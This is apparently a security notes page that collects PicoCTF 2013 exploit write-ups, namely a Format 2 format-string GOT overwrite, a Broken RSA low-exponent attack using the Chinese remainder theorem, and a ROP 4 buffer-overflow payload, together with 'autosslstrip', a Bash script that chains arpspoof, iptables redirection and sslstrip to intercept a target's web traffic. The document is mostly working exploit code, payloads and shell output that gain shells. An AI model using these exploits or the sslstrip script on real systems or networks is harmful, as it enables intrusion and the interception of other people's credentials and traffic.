# offsetbruteforcer


$ cat offsetbruteforcer.py 
import subprocess
import struct

for i in xrange(1, 255):
 print i

 ### arg = "/bin/sh;" + struct.pack('B', i) + "\xd6\xff\xff" + "\x90"*4 + "\x01\xa0\x04\x08" + "%x"*10 + "%hn" + "%134513561d" + "%n"
 ### program = "./format2"
 arg = ""
 program = ""

 output = subprocess.Popen([program, arg])
 output.communicate()

# PicoCTF 2k13 - Format 2


$ cat format2.c
#undef _FORTIFY_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void be_nice_to_people() {
    // /bin/sh is usually symlinked to bash, which usually drops privs. Make
    // sure we don't drop privs if we exec bash, (ie if we call system()).
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
}

int main(int argc, const char **argv) {
    be_nice_to_people();
    char buf[80];
    snprintf(buf, 70, argv[1]);
    printf(buf);
    printf("\n");
    system("/bin/ls");
    exit(0);
}
$ objdump -R format2
format2:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
08049ff0 R_386_GLOB_DAT    __gmon_start__
0804a000 R_386_JUMP_SLOT   printf
0804a004 R_386_JUMP_SLOT   getegid
0804a008 R_386_JUMP_SLOT   system
0804a00c R_386_JUMP_SLOT   __gmon_start__
0804a010 R_386_JUMP_SLOT   exit
0804a014 R_386_JUMP_SLOT   __libc_start_main
0804a018 R_386_JUMP_SLOT   snprintf
0804a01c R_386_JUMP_SLOT   putchar
0804a020 R_386_JUMP_SLOT   setresgid
$ gdb -q format2
(gdb) x/xw 0x0804a008
0x804a008 : 0x080483e6
(gdb) disassemble main
Dump of assembler code for function main:
   0x0804852d <+0>: push   ebp
   0x0804852e <+1>: mov    ebp,esp
   0x08048530 <+3>: and    esp,0xfffffff0
   0x08048533 <+6>: add    esp,0xffffff80
   0x08048536 <+9>: mov    eax,DWORD PTR [ebp+0xc]
   0x08048539 <+12>: mov    DWORD PTR [esp+0x1c],eax
   0x0804853d <+16>: mov    eax,gs:0x14
   0x08048543 <+22>: mov    DWORD PTR [esp+0x7c],eax
   0x08048547 <+26>: xor    eax,eax
   0x08048549 <+28>: call   0x8048504 <be_nice_to_people>
   0x0804854e <+33>: mov    eax,DWORD PTR [esp+0x1c]
   0x08048552 <+37>: add    eax,0x4
   0x08048555 <+40>: mov    eax,DWORD PTR [eax]
   0x08048557 <+42>: mov    DWORD PTR [esp+0x8],eax
   0x0804855b <+46>: mov    DWORD PTR [esp+0x4],0x46
   0x08048563 <+54>: lea    eax,[esp+0x2c]
   0x08048567 <+58>: mov    DWORD PTR [esp],eax
   0x0804856a <+61>: call   0x8048420 <snprintf@plt>
   0x0804856f <+66>: lea    eax,[esp+0x2c]
   0x08048573 <+70>: mov    DWORD PTR [esp],eax
   0x08048576 <+73>: call   0x80483c0 <printf@plt>
   0x0804857b <+78>: mov    DWORD PTR [esp],0xa
   0x08048582 <+85>: call   0x8048430 <putchar@plt>
   0x08048587 <+90>: mov    DWORD PTR [esp],0x8048670
   0x0804858e <+97>: call   0x80483e0 <system@plt>
   0x08048593 <+102>: mov    DWORD PTR [esp],0x0
   0x0804859a <+109>: call   0x8048400 <exit@plt>
End of assembler dump.
$ # 0x804a000 <printf@got.plt>: 0x080483c6 --> 0x080483e6
$ ltrace ./format2 `python -c 'print "/bin/sh;" + "\x02\xd6\xff\xff" + "\x0f\xd6\xff\xff" + "\x90"*4 + "\x01\xa0\x04\x08" + "%x"*9 + "%.31x" + "%hn" + "%hn" + "%134513534d" + "%n"'`
__libc_start_main(0x804852d, 2, -10508, 0x80485a0, 0x8048610 <unfinished ...>
getegid()                                                                                                           = 8013
setresgid(8013, 8013, 8013, 0xf7ffd918, 0)                                                                          = 0
snprintf("/bin/sh", 70, "/bin/sh;\002\326\377\377\017\326"..., 0xf7ff249c, 0xffffd694, 0, 0)                        = 134513638
printf("/bin/sh"sh-4.2$ id
uid=8013(user6748) gid=8013(user6748) groups=8013(user6748)
$ ./format2 `python -c 'print "/bin/sh;" + "\x02\xd6\xff\xff" + "\x0f\xd6\xff\xff" + "\x90"*4 + "\x01\xa0\x04\x08" + "%x"*9 + "%.31x" + "%hn" + "%hn" + "%134513534d" + "%n"'`
Segmentation fault
$ # 0x804a000 <printf@got.plt>: 0x080483c6 --> 0x080483e6
$ ltrace ./format2 `python -c 'print "/bin/sh;" + "\x1b\xd6\xff\xff" + "\x90"*4 + "\x01\xa0\x04\x08" + "%x"*10 + "%hn" + "%134513561d" + "%n"'`
__libc_start_main(0x804852d, 2, -10492, 0x80485a0, 0x8048610 <unfinished ...>
getegid()                                                                                                           = 8013
setresgid(8013, 8013, 8013, 0xf7ffd918, 0)                                                                          = 0
snprintf("/bin/sh;\033\326\377\377\220\220\220M", 70, "/bin/sh;\033\326\377\377\220\220"..., 0xf7ff249c, 0xffffd6a4, 0, 0, 0xffffd704, 0x80482cb) = 134513638
printf("/bin/sh;\033\326\377\377\220\220"...sh-4.2$ id
uid=8013(user6748) gid=8013(user6748) groups=8013(user6748)
$ ./format2 `python -c 'print "/bin/sh;" + "\x1b\xd6\xff\xff" + "\x90"*4 + "\x01\xa0\x04\x08" + "%x"*10 + "%hn" + "%134513561d" + "%n"'`
Illegal instruction
$ # 0x804a01c <putchar@got.plt>: 0x08048436 --> 0x0804858e
$ export PATH=$PATH:$HOME
$ ln -s /bin/dash $HOME/$'\307\004\206\004\b\350M\376\377\377\307\004$'
$ ./format2 `python -c 'print "\x1c\xa0\x04\x08" + "%134514058d" + "%9$n"'`
$ id
uid=8013(user6748) gid=3006(format2) groups=8013(user6748)
$ cat key
now_youre_a_format_string_master

# autosslstrip: Automating sslstrip


# cat autosslstrip 
#!/bin/bash

ACTION="$1"
INTERFACE="$2"
TARGET="$3"
GATEWAY="$4"
LOGFILE="$5"
DEBUG="$6"

SS_PORT=44380

if [ "$DEBUG" != "--debug" ]; then
 exec 2> /dev/null
fi

function forward {
 echo $1 > /proc/sys/net/ipv4/ip_forward
}

function killtail {
 logfile=`ps axuf | grep sslstrip | grep ' hook'`
 if [ "`echo $logfile | grep '\-\-debug'`" != "" ]; then
  logfile=`echo "$logfile" | awk '{print $(NF-1)}'`
 else
  logfile=`echo "$logfile" | awk '{print $NF}'`

 fi
 pid=`ps axuf | grep tail | grep $logfile | awk '{print $2}'`
 kill -9 $pid
}

function dotail {
 touch $LOGFILE
 tail -f $LOGFILE \
 | stdbuf -oL grep -A 10 'Sending Request: ' \
 | stdbuf -oL grep -e 'Sending Request: ' -e 'header: host' \
 | stdbuf -oL grep -A 1 -v -e 'host' -e '.bmp' -e '.css' -e '.gif' -e '.ico' -e '.jpg' -e '.js' -e '.png'  -e '.swf' -e '.woff' \
 | stdbuf -oL grep -v -e '--' \
 | stdbuf -oL sed -e 's/.*: host : \(.*\)/HOST \1\n/' -e 's/.*Request: //'
}

function redirect {
 action="$1"
 iptables --table nat $action PREROUTING \
   --in-interface $INTERFACE --protocol tcp --destination-port 80 --jump REDIRECT --to-port $SS_PORT
}

function main {
 if [ "$ACTION" == "hook" ]; then
  forward 1
   redirect --append
  arpspoof -i $INTERFACE -t $TARGET $GATEWAY > /dev/null 2>&1 &
  sslstrip --all --killsessions --listen=$SS_PORT --write=$LOGFILE > /dev/null 2>&1 &
  dotail
 elif [ "$ACTION" == "unhook" ]; then
  killtail
  killall sslstrip
  killall arpspoof
  redirect --delete
  forward 0
 fi
}

main
# ./autosslstrip hook eth0 10.0.1.10 10.0.1.1 /tmp/log.txt --debug
# ./autosslstrip unhook eth0

# PicoCTF 2k13 - Broken RSA


# cat broken_rsa_source.py 
#!/usr/bin/env python
import os
from Crypto.PublicKey import RSA
import SocketServer
import threading
import time

flag = "RSA_isn't_so_great_after_all?!"

class threadedserver(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
    pass

class incoming(SocketServer.BaseRequestHandler):
  def handle(self):
    cur_thread = threading.current_thread()
    welcome = """
*******************************************
***             Welcome to the          ***
***    FlAg EnCrYpTiOn SeRviCe 9000!    ***
*******************************************

We encrypt the flags, you get the points!
"""
    self.request.send(welcome)
    rsa = RSA.generate(1024,os.urandom)
    n = getattr(rsa,'n')

    #no one will ever be able to solve our super challenge!
    self.request.send("To prove how secure our service is ")
    self.request.send("here is an encrypted flag:\n")
    self.request.send("==================================\n")
    self.request.send(hex(pow(int(flag.encode("hex"), 16),3,n)))
    self.request.send("\n==================================\n")
    self.request.send("Find the plaintext and we'll give you points\n\n")
    
    while True:
      self.request.send("\nNow enter a message you wish to encrypt: ")
      m = self.request.recv(1024)
      self.request.send("Your super unreadable ciphertext is:\n")
      self.request.send("==================================\n")
      self.request.send(hex(pow(int(m.encode("hex"), 16),3,n))) 
      self.request.send("\n==================================\n")

server = threadedserver(("0.0.0.0", 6666), incoming)
server.timeout = 4
server_thread = threading.Thread(target=server.serve_forever)
server_thread.daemon = True
server_thread.start()

server_thread.join()
# cat crack_rsa.py 
#!/usr/bin/python

import collections
import gmpy
import re
import socket
import time

HOST = 'localhost'
PORT = 6666
NC   = 3
NM   = 3

cf = []
n  = []

def egcd(a, b):
 if a == 0:
  return (b, 0, 1)
 else:
  g, y, x = egcd(b % a, a)
  return (g, x - (b // a) * y, y)

def modinv(a, m):
 g, x, y = egcd(a, m)
 if g != 1:
  return None  # modular inverse does not exist
 else:
  return x % m

def chinese_remainder_theorem(cf, n):
 if coprime(n):
  a0 = n[1] * n[2]
  a1 = n[0] * n[2]
  a2 = n[0] * n[1]
  b0 = modinv(a0, n[0])
  b1 = modinv(a1, n[1])
  b2 = modinv(a2, n[2])
  c0 = cf[0]
  c1 = cf[1]
  c2 = cf[2]
  return ((a0 * b0 * c0) + (a1 * b1 * c1) + (a2 * b2 * c2)) % (n[0] * n[1] * n[2])
 else:
  return 'The numbers are not coprimes'

def coprime(n):
 l = len(n)
 for i in range(l):
  a = i % l 
  b = (i + 1) % l
  if gmpy.gcd(n[a], n[b]) != 1:
   return False
 return True
 
class Connection:
 def __init__(self, h, p, nm):
  self.sleep = 0.2
  self.size = 50
  self.nm = nm
  self.message = []
  self.i_message = []
  for i in range(self.nm):
   s = str(i) * self.size
   self.message.append(s)
   self.i_message.append(self.m_to_int(s))
  self.server_socket = (h, p)
 def connect(self):
  self.cmessage = [ '', '', '' ]
  self.i_cmessage = [ '', '', '' ]
  self.cflag = ''
  self.n = ''
  self.client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  self.client.connect(self.server_socket)
 def get_cipher_flag(self):
  self.client.recv(1024)
  time.sleep(self.sleep)
  self.cflag = int(re.search('0x.*', self.client.recv(1024)).group(0)[2:-1], 16)
  print 'cflag = ', self.cflag
 def get_cipher_message(self, num):
  self.client.send(self.message[num])
  self.client.recv(1024)
  time.sleep(self.sleep)
  self.cmessage[num] = re.search('0x.*', self.client.recv(1024)).group(0)
  self.i_cmessage[num] = self.cm_to_int(self.cmessage[num])
 def m_to_int(self, s):
  exp = 3
  return pow(int(s.encode('hex'), 16), exp)
 def cm_to_int(self, s):
  return int(s[2:-1], 16)
 def get_gcd(self):
  c = collections.Counter()
  for i in range(self.nm):
   n = i % self.nm 
   m = (i + 1) % self.nm
   c[gmpy.gcd(self.i_message[n] - self.i_cmessage[n], self.i_message[m] - self.i_cmessage[m])] += 1
  n = c.most_common(1)[0]
  if n[0] > 1:
   print 'n     = ', n[0]
   self.n = gmpy.mpz(n[0])
 def disconnect(self):
  self.client.close()

c = Connection(HOST, PORT, NM)
for i in range(NC):
 c.connect()
 c.get_cipher_flag()
 for j in range(NM):
  c.get_cipher_message(j)
 c.get_gcd()
 cf.append(c.cflag)
 n.append(c.n)
 c.disconnect()

crt = chinese_remainder_theorem(cf, n)
print hex(int(gmpy.mpz(crt).root(3)[0]))[2:-1].decode('hex')
# ./crack_rsa.py
cflag =  183432220267576292492132231787500365567429443254723902370093717268660821440942897692891409209336083625860622526532735669405478985976131391373638097071941387759145613334518590037634953987431887257447884479468348868961
n     =  135953784270768443683613403195167981915031252138094570429369041989727851055124422396867423943809003975436286026628304014780104754769108750066849076612355407811413680217618966981934851066430783270443526817656919939971313423309707876858646782024226363140350626824949333424034972566150688727067529487352636390043
cflag =  183432220267576292492132231787500365567429443254723902370093717268660821440942897692891409209336083625860622526532735669405478985976131391373638097071941387759145613334518590037634953987431887257447884479468348868961
n     =  147426225645417139553342358404886645198529522490352691359839782491873450611461887111145469995954618522250637992779925978401830015610097593122018203880703073585636063945771347245716348603489552232317048688060505292755946373819909981955997660918014633102382919198924439017502469967016198925492585769516272283379
cflag =  183432220267576292492132231787500365567429443254723902370093717268660821440942897692891409209336083625860622526532735669405478985976131391373638097071941387759145613334518590037634953987431887257447884479468348868961
n     =  627332965352768740770155366254106959845300172492870722009973118834731530296849175221538708067947689697177943580184423563532887600462655450044573132748970903250245024373466833416970187734469135829450190039040909806348483319266202748803421327450659922751634580246585367885974686043464239023205128753870103334908
RSA_isn't_so_great_after_all?!

# PicoCTF 2k13 - ROP 4


$ cat /problems/ROP_4_887f7f28b1f64d7e/rop4.c
#include <stdio.h>
#include <unistd.h>
#include <string.h>

char exec_string[20];

void exec_the_string() {
 execlp(exec_string, exec_string, NULL);
}

void call_me_with_cafebabe(int cafebabe) {
 if (cafebabe == 0xcafebabe) {
  strcpy(exec_string, "/sh");
 }
}

void call_me_with_two_args(int deadbeef, int cafebabe) {
 if (cafebabe == 0xcafebabe && deadbeef == 0xdeadbeef) {
  strcpy(exec_string, "/bin");
 }
}

void vulnerable_function() {
 char buf[128];
 read(STDIN_FILENO, buf, 512);
}

void be_nice_to_people() {
 // /bin/sh is usually symlinked to bash, which usually drops privs. Make
 // sure we don't drop privs if we exec bash, (ie if we call system()).
 gid_t gid = getegid();
 setresgid(gid, gid, gid);
}

int main(int argc, char** argv) {
 exec_string[0] = '\0';
 be_nice_to_people();
 vulnerable_function();
}
$ ln -s /problems/ROP_4_887f7f28b1f64d7e/rop4 rop4
$ ./getenvadrr SHELL ./rop4
SHELL will be at 0xffffd881
$ objdump -t rop4 | grep execlp
08053ab0 g     F .text 0000012a execlp
$ (python -c 'print "\x90"*140 + "\xb0\x3a\x05\x08" + "\x87\xd8\xff\xff"*2 + "\x00"*4'; cat) | ./rop4
cat /problems/ROP_4_887f7f28b1f64d7e/key
fluent_in_roponese